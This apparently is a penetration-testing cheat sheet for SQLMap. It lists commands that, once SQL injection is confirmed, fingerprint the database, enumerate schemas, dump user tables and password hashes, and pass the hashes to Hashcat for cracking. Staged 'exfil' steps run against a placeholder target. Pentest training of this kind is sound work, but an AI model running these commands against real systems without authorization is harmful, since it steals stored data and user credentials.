Once SQLMap confirms SQLi, enumeration pulls metadata → databases → tables → columns → rows. SQLMap reuses the stored injection point from the session cache, so you don’t re-detect each time.

Progression

Confirm SQLi
    ↓
--banner / --current-user / --current-db / --is-dba
    ↓
--dbs                     → pick target DB
    ↓
-D <db> --tables          → pick target table
    ↓
-D <db> -T <tbl> --columns
    ↓
-D <db> -T <tbl> -C <cols> --dump
    ↓
--dump-all --exclude-sysdbs    (full exfil)

Basic Metadata

sqlmap -u "http://target/?id=1" --banner --current-user --current-db --hostname --is-dba
OptionPurpose
--bannerDBMS version/banner
--hostnameDB server hostname
--current-userCurrent DB user
--current-dbCurrent database
--is-dbaDoes user have DBA/admin?
--usersList all DB users
--passwordsDump password hashes
--privilegesPrivileges per user
--rolesRoles per user (Oracle, PostgreSQL)

DB root ≠ OS root

root@localhost in MySQL is a database account. It is not the system root. DB privileges and OS privileges are separate.

Databases → Tables → Columns

# List all databases
sqlmap -u "http://target/?id=1" --dbs
 
# Tables in one DB
sqlmap -u "http://target/?id=1" -D testdb --tables
 
# Columns in one table
sqlmap -u "http://target/?id=1" -D testdb -T users --columns
 
# Full schema (all DBs)
sqlmap -u "http://target/?id=1" --schema
sqlmap -u "http://target/?id=1" --schema --exclude-sysdbs

Dumping Data

# Dump one table
sqlmap -u "http://target/?id=1" -D testdb -T users --dump
 
# Selected columns only
sqlmap -u "http://target/?id=1" -D testdb -T users -C username,password --dump
 
# Row range
sqlmap -u "http://target/?id=1" -D testdb -T users --dump --start=2 --stop=10
 
# Filter with WHERE
sqlmap -u "http://target/?id=1" -D testdb -T users --dump --where="name LIKE 'a%'"
 
# Whole DB
sqlmap -u "http://target/?id=1" -D testdb --dump
 
# Current DB
sqlmap -u "http://target/?id=1" --dump
 
# Every DB (exclude system noise)
sqlmap -u "http://target/?id=1" --dump-all --exclude-sysdbs

Output Format

--dump-format=CSV          # default
--dump-format=HTML
--dump-format=SQLITE

Dumps land in ~/.sqlmap/output/<target>/dump/<db>/<table>.csv.

Hunt specific tables or columns by name across every database:

sqlmap -u "http://target/?id=1" --search -T users         # any table named 'users'
sqlmap -u "http://target/?id=1" --search -C password      # any column with 'password' in the name
sqlmap -u "http://target/?id=1" --search -D admin         # any DB with 'admin' in the name

Password Hashes

sqlmap -u "http://target/?id=1" --passwords

SQLMap recognizes common hash formats and will prompt to run a built-in dictionary attack against them. Decline it — pipe the hashes into Hashcat instead.

Command Reference

--banner                    DBMS version/banner
--hostname                  DB server hostname
--current-user              Current DB user
--current-db                Current database
--is-dba                    Test DBA privileges
--users                     List all DB users
--passwords                 Dump password hashes
--privileges                Per-user privileges
--roles                     Per-user roles

--dbs                       Enumerate databases
-D <db>                     Select database
--tables                    Enumerate tables
-T <table>                  Select table
--columns                   Enumerate columns
-C <col1,col2>              Select columns
--schema                    Enumerate schema of all DBs
--search                    Search for DBs/tables/columns by name

--dump                      Dump selected scope
--dump-all                  Dump every DB
--dump-format=CSV|HTML|SQLITE
--exclude-sysdbs            Skip system databases

--start=<n>                 Begin at row n
--stop=<n>                  Stop at row n
--where="<cond>"            SQL WHERE filter on dump

Practical Progression

# Stage 1: fingerprint
sqlmap -r request.txt --banner --current-user --current-db --is-dba
 
# Stage 2: scope
sqlmap -r request.txt --dbs
sqlmap -r request.txt -D appdb --tables
 
# Stage 3: target
sqlmap -r request.txt -D appdb -T users --columns
 
# Stage 4: exfil
sqlmap -r request.txt -D appdb -T users -C username,password,email --dump
 
# Stage 5: everything else
sqlmap -r request.txt --dump-all --exclude-sysdbs

Narrow before you dump

--dump-all on a production-sized DB can run for hours over blind SQLi. Use --search, -C, --where, --start/--stop to pull only the rows you need.